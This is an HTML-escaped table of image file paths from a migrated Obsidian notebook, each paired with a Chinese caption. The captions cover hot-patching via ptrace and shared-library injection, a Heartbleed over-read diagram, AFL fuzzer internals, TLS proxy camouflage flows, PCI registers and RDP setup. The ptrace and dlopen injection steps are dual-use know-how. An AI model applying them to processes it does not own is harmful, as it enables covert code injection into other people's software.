&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;inject-so-dlopen-shellcode-flow.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;注入 so：调 dlopen(pathname, mode)。步骤：找 __libc_dlopen_mode 地址 → 填寄存器和内存指令 → 执行 callq *%rax。“鸡和蛋”：pathname 要内存而分配内存的指令也要占内存——借系统 so 内存中 ELF 头 8 字节存指令。流程：按 so 名&#x2F;长度估内存 → save 寄存器执行 mmap → 返回地址写 so 名 → 调 __libc_dlopen_mode → 取 handle → write 回寄存器恢复现场。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;axum-middleware-list.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;axum 中间件：add_extension 注入请求扩展值、auth 授权、compression&#x2F;decompression 压缩&#x2F;解压（br&#x2F;deflate&#x2F;gzip）、cors 跨域头、follow_redirect 重定向、map_request&#x2F;response_body 体变换、metrics 指标、propagate_header 头回传、request_id 请求 ID、sensitive_headers 敏感头、set_header 设头、trace 追踪。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;u2f-challenge-response-sequence.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;U2F 挑战-应答时序图（U2F Device&#x2F;User&#x2F;Browser&#x2F;RP 四方）：用户打开 RP 页面并先通过主因素认证；RP 向浏览器下发 challenge，要求证明持有该站点注册的 U2F 私钥；浏览器将 challenge 转给 U2F 设备并提示用户触摸；用户确认在场后，设备加载&#x2F;解出该 RP 对应私钥并对 challenge 签名，经浏览器回传 RP；RP 用注册时保存的 U2F 公钥验证签名，通过后将 session 与该用户关联。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;ptrace-process-control.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;ptrace 控制目标进程：ATTACH 使 tracee 停止；SETREGS 改寄存器、CONT 恢复运行。原型 ptrace(request, pid, addr, data)。参数：TRACEME 被追踪；PEEKTEXT&#x2F;PEEKDATA 读一字；POKETEXT&#x2F;POKEDATA 写一字；PEEK&#x2F;POKEUSER 用户区读写；GETREGS&#x2F;SETREGS 读写寄存器；ATTACH 追踪并停止；CONT 恢复（data 非空作信号）；DETACH 脱离。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;ffmpeg-mp4-to-avi-transcode.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;cmd 执行 ffmpeg -i 1.mp4 -c:v h264 -c:a mp3 1.avi：输入为 B 站下载视频（Bilibili XCode Worker 封装），视频 h264 1920x1080、703kb&#x2F;s、25fps，音频 aac 44100Hz、127kb&#x2F;s；流映射 h264→libx264（High 4.0）、aac→mp3（libmp3lame），输出 3 分钟共 11523kB、码率 524kbits&#x2F;s，speed=2.68x。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;gcc-pg-mcount-atomic-patch.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;原子性方案2：提前插桩。gcc -pg 在函数开头插入 call mcount()（5 字节，原用于调用统计），借其实现原子补丁。示例 testA：push %rbp; mov %rsp,%rbp; callq mcount@plt; …; retq。覆盖规则：jmp 正好 5 字节，直接覆盖 mcount 即原子；超 32 位用跳板，可在 movabs 前加 mov %rbp,%rsp; pop %rbp。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;pci-config-space-layout.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;PCI 配置空间结构图：每功能 256 字节配置空间，前 64 字节标准配置头（Header 0&#x2F;1），后 192 字节设备特定寄存器；经 CF8h&#x2F;CFCh 端口访问。Header 0 双字布局：00h Device&#x2F;Vendor ID；01h Status&#x2F;Command；02h Class Code&#x2F;Rev ID；04h~09h BAR0~5；0Bh Subsystem ID；0Ch Expansion ROM 基址；0Fh Interrupt Pin&#x2F;Line。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;heartbleed-heartbeat-overread.svg&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Heartbleed 原理图（正常 vs 恶意心跳）：正常用法客户端请求回传 4 字母词 bird，服务器只回显 bird；恶意用法攻击者声称要 500 字母的词、实际只发 bird，服务器按声称长度回显，把相邻内存一并带出——响应里除 bird 外还有 Server master key is 31431498531054、User Carol wants to change password 等敏感内容，心跳长度字段未校验导致越界读取泄漏服务器内存。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;ffmpeg-codecs-list-output.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;ffmpeg -codecs 查看编解码器列表：标志含义 D=解码、E=编码、V=视频、A=音频、S=字幕、I=帧内、L=有损、S=无损；列表含 012v、8bps、aasc、apng 等，其中 av1 一行标注 decoders: libdav1d libaom-av1、encoders: libaom-av1（红下划线强调）。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;process-virtual-memory-layout.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;数据继承：进程虚拟内存分布——0xc0000000 内核空间（用户不可见）；用户栈（运行时创建，%esp 指示）；共享库映射（0x40000000）；运行时堆（brk）；读写段 .data&#x2F;.bss；只读段 .init&#x2F;.text&#x2F;.rodata（0x08048000 起）。堆上变量：类成员增删或改类型会越界&#x2F;值错乱（示例 Logic 类新增 m_uNewOne1、m_uNewOne2）；静态变量同样要处理（LOG_DEBUG 打印 m_uStatic）。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;ffmpeg-formats-list.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;ffmpeg -formats 查看支持的封装格式：D 表示可解封装（Demuxing）、E 表示可封装（Muxing），每行为标志、短名与说明，如 3dostr（3DO STR）、3g2（3GP2）、3gp（3GP）等，截图仅展示列表开头几行。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;hot-update-shared-memory-lua.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;业界热更新方案：1) 共享内存，技术点为数据恢复（C++ 对象：指针、容器、多态虚表、全局数据、静态成员）；配图虚拟内存：内核态（页表&#x2F;task&amp;amp;mm、内核栈、内核代码数据）+用户态（用户栈、共享库映射、堆、.bss&#x2F;.data&#x2F;.text）。2) Lua 虚拟机，技术点为 C++ 对象与 lua 绑定、C++ 函数导出；时序 lua_newstate → lua_dofile → lua_parse → lua_pcall → luaV_execute。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;so-func-address-lookup.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;找 so 函数地址：读 &#x2F;proc&#x2F;pid&#x2F;maps 或 pmap -p 8031。系统 so 的 section 全加载可访问、普通 so 才可 open。Func 查找：读 Ehdr → 按 e_shnum 读 section 数组 → e_shstrndx 找名字表 → 定位 .dynsym&#x2F;.dynstr&#x2F;.rela.plt 等；已访问：从 .dynsym 按名找 st_value；未访问：.rela.plt 取条目，地址=ELF 起始+r_offset。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;hotfix-jump-offset-selection.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;按新老地址偏移选指令：iCheckOffset = abs(新地址 − (旧地址+5))，为 jmp+4 字节 offset 留位；近距离 [jmp offset]，远距离 [movabs funcaddr,%rax; jmp *%rax]。原子性方案1：待热更函数若正在执行则停止热更——按 rip&#x2F;rbp 遍历调用栈（FillCallerStack 读栈帧），若栈中 addr 落在替换代码范围内则终止本次热更。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;pgp-private-key-ascii-armor.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;PGP 私钥的 ASCII Armor 文本截图：以 -----BEGIN PGP PRIVATE KEY BLOCK----- 开头，正文为整屏 base64 编码的私钥数据，即密钥导出后的文本形态。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;static-lib-link-order.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;「表1 链接器添加目标文件步骤」，演示静态库链接顺序：链接器用三个集合跟踪进度——E（已加入目标文件）、U（未定义符号）、D（已定义符号）。第一轮按 a.o→g.o→f.o→e.o→d.o→c.o 处理，库成员 g.o 首次扫描无可满足符号被跳过（记为...），此后 U 含 b_1、function_e、d_1；第二轮按 b.o→g.o→e.o→d.o→g.o 处理，b.o&#x2F;e.o&#x2F;d.o 依次加入并解析符号，再扫到 g.o 补上 g_1，最终 U 为 NULL（全部解析）。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;secure-boot-trust-chain.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Windows 安全启动链：CPU（Intel Boot Guard）→ BIOS&#x2F;UEFI → Boot Loader（GRUB&#x2F;IPXE）→ Kernel+Initrd → 应用程序，每级镜像带签名，加载前先 Verify 再 Execute，构成固件到应用的信任链；下半部分为配套截图：openssl 生成密钥、sbsign 签名、qemu 加载自定义 uefi.bin 验证 UEFI 签名及 DxeImageVerificationLib 代码。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;libevent-http-callback-flow.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Libevent 驱动的 HTTP 请求回调流程：Dial 建连后依次注册并触发 Write Header 回调（写请求头）→ 注册 Write Body 回调（写请求体）→ 注册 Read Header 回调（读响应头）→ 注册 Read Body 回调（读响应体）完成，各阶段由底层 Libevent 事件驱动。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;ptrace-regs-memory-access.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;访问目标进程寄存器与内存：GETREGS 读通用寄存器到 data，SETREGS 用 data 修改。x86-64：rdi&#x2F;rsi&#x2F;rdx&#x2F;rcx&#x2F;r8&#x2F;r9 传前 6 参、rax 为返回值。内存读写用 PEEKTEXT&#x2F;POKETEXT 或 process_vm_readv&#x2F;writev。执行指令：Save 源寄存器和内存 → 改成目标所需 → PTRACE_CONT 执行 → trap 后还原。例 mmap：rax=9、rdi~r9 依次填参、rip 指向 glibc 起始地址执行。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;elf-ehdr-shdr-structure.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;ELF 结构：Ehdr 含 e_ident（0x7f ELF）、e_type&#x2F;e_machine&#x2F;e_entry、e_phoff&#x2F;e_shoff、e_shnum、e_shstrndx；Shdr 含 sh_name&#x2F;sh_addr&#x2F;sh_offset&#x2F;sh_size 等。readelf -h libWorldHotfix.so：ELF64、DYN、X86-64、8 程序头、42 节头、节名表索引 41；readelf -l 可看 PHDR&#x2F;LOAD&#x2F;DYNAMIC 等 segment 映射。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;process-hot-replace-sequence.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;业界方案（续）：3) 进程热替换，技术点：新进程 fork、Listen FD 迁移、读&#x2F;写数据迁移（参考《Sidecar 平滑升级方案探索》），时序图含 switch_sock、AcceptNewConnection 等连接迁移。4) 动态链接库，技术点：新老函数地址查找、So 注入、新老函数替换；示意 program(0x400000)&#x2F;libfoo.so(0x600000)&#x2F;libbar.so(0x800000) 的 PLT 条目，新库 hook_foo_func 替换 foo_func。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;hifive-unleashed-soc-ddr.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;同一张 HiFive Unleashed 开发板照片，圆圈标出两处：中央 FU540 SoC 与其下方一排 8 颗 DDR 内存颗粒，用于说明程序地址空间中 DRAM 物理芯片的位置（地址从 0x8000 0000 开始）。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;menuconfig-usb-gadget-drivers.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Linux&#x2F;arm 4.4.0-rc8 menuconfig：USB Gadget Drivers（经 configfs 配置 function）选为内置 &amp;lt;&lt;em&gt;&amp;gt;，勾选各 function [&lt;&#x2F;em&gt;]：serial bulk、CDC ACM&#x2F;OBEX&#x2F;NCM&#x2F;ECM（含 subset）、RNDIS、EEM、Mass storage、Loopback、FunctionFS、Audio Class 1.0&#x2F;2.0、MIDI、HID、Webcam、Printer。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;sifive-hifive-unleashed-board.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;SiFive HiFive Unleashed（Rev A00）RISC-V 开发板照片，圆圈标出板中央带 SiFive 标志的 FU540 SoC 芯片，板上另可见 8 颗内存颗粒、GigE 网口、microSD 卡槽、调试接口等。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;sifive-fu540-memory-map.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;同一 Table 6 后半段：I2C、QSPI0-2、GPIO、OTP、Ethernet MAC、DDR Control(0x100B_0000) 等外设；QSPI0&#x2F;1 Flash 各 256MiB（0x2000_0000、0x3000_0000 起）；ChipLink 两段各 512MiB；关键行 DDR Memory 126GiB，范围 0x8000_0000–0x1F_FFFF_FFFF，即 DRAM 从 0x8000_0000 开始映射。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;pci-command-register-bits.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;PCI 配置空间 Command 寄存器（16 位）位定义图：bit15 保留；bit10 禁用中断；bit9 快速背靠背允许（PCI 专用，Express 不用）；bit8 SERR# 允许；bit7 步长控制（PCI 专用）；bit6 奇偶校验错误响应；bit5 VGA 调色板侦测（PCI 专用）；bit4 存储器写并失效（PCI 专用）；bit3 特殊循环（PCI 专用）；bit2 总线主控；bit1 存储器空间允许；bit0 I&#x2F;O 空间允许。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;lspci-vvv-root-port-output.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;lspci -s 00:18.0 -vvv 输出（VMware PCI Express Root Port）：Control 为 I&#x2F;O+ Mem+ BusMaster+，中断引脚路由 IRQ 48；内存窗口 fd100000-fd1fffff；Capabilities：[40] Subsystem、[48] Power Management v3、[50] Express (v2) Root Port（MaxPayload 128）；LnkCap：5GT&#x2F;s、x32、ASPM L0s。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;sifive-fu540-memory-map-2.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;SiFive FU540-C000 手册 Table 6 内存映射前半：0x0 起为 Debug 区、Mode Select、Mask ROM(32KiB)、E51 DTIM(8KiB)、各 Hart ITIM(28KiB)、CLINT(0x0200_0000)、DMA、L2 LIM(32MiB，0x0800_0000 起)、PLIC(0x0C00_0000 起)、PRCI、UART、PWM 等；属性 R&#x2F;W&#x2F;X&#x2F;C&#x2F;A=读&#x2F;写&#x2F;执行&#x2F;可缓存&#x2F;原子。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;ethernet-magnetics-bob-smith.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;以太网磁性元件电路图（左为芯片侧、右为线缆侧）：差分线对经共模电感与变压器隔离耦合，线圈中心抽头经中心抽头电容接地（理想情况应低阻抗接零电位参考点），另接高压电容；线缆侧未使用的线对经 Bob Smith 电路端接：4 个 75Ω 电阻汇接后通过 0.1uF 电容接地，用于阻抗匹配与 EMI 抑制。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;wkd-autoencrypt-kleopatra-demo.gif&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;WKD 自动加密演示图：Outlook（账户 wksdemo@testkolab.intevation.de）窗口上叠加 Kleopatra 证书管理器，All Certificates 列表中有一张 OpenPGP 证书：名称 WKS demo、邮箱 wksdemo@testkolab.intevation.de、Valid From 10.07.2018、Key-ID 以 17DBECAB 开头，展示 WKD 配置后证书被自动获取使用。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;tls-handshake-padding-mitigation.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;「基于 Padding 的缓解」示意图：TLS 握手的每条消息——客户端 ClientHello、服务端 ServerHello、加密的 Certificate、双方的 Finished——之后都附加 Padding 块，使各消息实际长度被填充掩盖，从而削弱基于报文长度特征（如证书大小）的流量分析。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;gnome-remote-desktop-service-status.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;在 ~&#x2F;certs 目录执行 systemctl --user status gnome-remote-desktop.service 的输出：active (running)（自 2023-12-29 20:13 起），Main PID 88276，内存 16.0M，日志显示 Started GNOME Remote Desktop 和 RDP server started，表示配置证书后服务运行正常。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;gnome-connections-rdp-success.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;GNOME Connections（RDP 客户端）连接成功截图：窗口标题栏显示 rdp:&#x2F;&#x2F;192.168.124.59:3389，窗口内呈现远程 Ubuntu 桌面（GNOME 顶栏时间 20:44、左侧 Dock），证明 gnome-remote-desktop 服务可正常远程访问。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;rdp-fullscreen-remote-session.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;全屏远程桌面会话截图：顶栏显示已连接主机 192.168.124.59，画面为远程 Ubuntu GNOME 桌面（左侧 Dock 与默认壁纸），直观确认 RDP 远程连接可用。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;gdm-keyring-unlock-failure-log.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;失焦模糊的系统日志截图，可辨认的关键报错：gdm-password 的 pam_unix 认证失败（tty=&#x2F;dev&#x2F;tty1 user=lost）、gkr-pam 提示登录钥匙串密码无效（the password for the login keyring was invalid）、gnome-keyring-daemon 报 failed to unlock login keyring on startup，反映钥匙串解锁失败类问题。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;systemctl-status-gnome-remote-desktop.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;终端执行 systemctl status --user gnome-remote-desktop 的输出：服务已加载（gnome-remote-desktop.service，enabled），状态 active (running)（自 2023-12-29 19:48 起），Main PID 2309，内存 15.4M，日志显示 Starting&#x2F;Started GNOME Remote Desktop 与 RDP server started，说明服务启动正常。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;restls-script-flow.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;「Restls Script: You Decide」流程图：客户端先发 ClientHello Part 1，Restls 对外回 Fake Response 伪装普通响应；再收 ClientHello Part 2 转发真实目标；收到 ServerHello+Certificate Part 1 时同样先回客户端 Fake Response，再发 Certificate Part 2+Finished；最后客户端发 Finished+Padding。以拆分报文、穿插伪造响应隐藏代理行为。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;afl-gcc-main-control-flow.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;afl-gcc main() 控制流：按 argv[0] 名经环境变量定 cc_params[0] 并置 clang_mode；识别 -B、-fsanitize=address&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;afl-as-main-flow-2.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;afl-as main() 控制流：tmp_dir 依次取 TMPDIR、TEMP、&#x2F;tmp；clang_mode 未设 AFL_AS 时 afl_as 依次取 AFL_CC、AFL_CXX、clang；解析 -64&#x2F;-32&#x2F;-arch 设 use_64bit，非法组合 FATAL；clang 下追加 -c -x assembler；input_file 为最后一个参数，-version 仅设 just_version；最后生成临时 modified_file 进入插桩。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;afl-as-add-instrumentation-flow.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;afl-as.c add_instrumentation() 控制流：逐行 fgets 读汇编，按 skip_intel&#x2F;skip_app&#x2F;skip_csect、.p2align（clang_mode）、-5&#x2F;.textl 等条件跳过，匹配 .text&#x2F;.cod 段与标签后，当 R(100) &amp;lt; inst_ratio 时输出 trampoline_fmt_64&#x2F;32 桩代码并 inst_lines++；文件打开失败即 FATAL，结束时打印插桩行数与 OKF 信息。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;afl-instrumented-assembly-2.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;test-instr.c 编译产物的 x86_64 汇编截图，红框标出 AFL 插入的桩代码：注释 &#x2F;* --- AFL TRAMPOLINE (64-BIT) --- &lt;em&gt;&#x2F; 后 .align 4，先 leaq -(128+24)(%rsp),%rsp 开辟空间保存 %rdx&#x2F;%rcx&#x2F;%rax，movq $0x0000ba83,%rcx 装入随机码后 call __afl_maybe_log，再逆序恢复寄存器与栈，以 &#x2F;&lt;&#x2F;em&gt; --- END --- *&#x2F; 结束，旁注「插入的桩代码」。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;afl-trampoline-asm.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;前一张桩代码截图的放大版：红框内为 AFL 插入的 64 位 trampoline 汇编，leaq -(128+24)(%rsp),%rsp 保存 %rdx&#x2F;%rcx&#x2F;%rax 三个寄存器，movq $0x0000ba83,%rcx 传入随机 map ID 后 call __afl_maybe_log 上报覆盖率，随后按相反顺序恢复寄存器与栈，右侧标注「插入的桩代码」。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;afl-source-tree-treemap.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;AFL 源码目录 treemap（面积≈文件大小）：afl-fuzz.c 独占最大块，其次 afl-tmin.c、afl-analyze.c、afl-as.c、afl-showmap.c、afl-gcc.c 及 alloc-inl.h 等头文件；另有 llvm_mode（afl-clang-f*、afl-llvm-pass、afl-llvm-rt）、qemu_mode、libtokencap、libdislocator、experimental 等子目录，核心逻辑集中在 afl-fuzz.c。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;afl-gcc-control-flow.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;afl-gcc 完整控制流：识别 afl-clang-fast、-m32&#x2F;-m64、-fsanitize（asan&#x2F;msan）、_FORTIFY_SOURCE，置 bit_mode&#x2F;asan_set&#x2F;fortify_set；clang 模式加 __AFL_HAVE_MANUAL_CONTROL 并链 afl-llvm-rt.o；ASAN&#x2F;MSAN 与 HARDEN 冲突 FATAL；AFL_NO_BUILTIN 禁 builtin；最后按 bit_mode 分支完成参数拼装。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;tls-in-tls-illustration.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;三联对比图：左「TLS Handshake」常规握手——ClientHello 后服务端回 ServerHello+加密 Certificate+Finished，客户端再发加密 Finished；中「TLS In TLS」——内层 TLS 完整握手嵌进外层加密隧道，代理转发给真实目标 Google；右「Normal TLS」——握手后 HTTP GET&#x2F;POST 及响应封装在加密通道。对比说明代理场景下内层握手与普通流量的结构差异。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;pc411-nvme-ssd-label.jpg&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;长江存储 PC411 2048GB NVMe M.2 SSD 产品图：标签印有 Model PC411-2TB-D、PCIe Gen4x4、PN、PSID、SN、FW、EUI64 字段及两个二维码，并标注 WARRANTY VOID IF LABEL REMOVED（撕毁标签即失保）；要点是 PSID 就印在硬盘标签上，需要 PSID Revert 解锁时从标签读取，但注意撕毁标签会失去保修。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
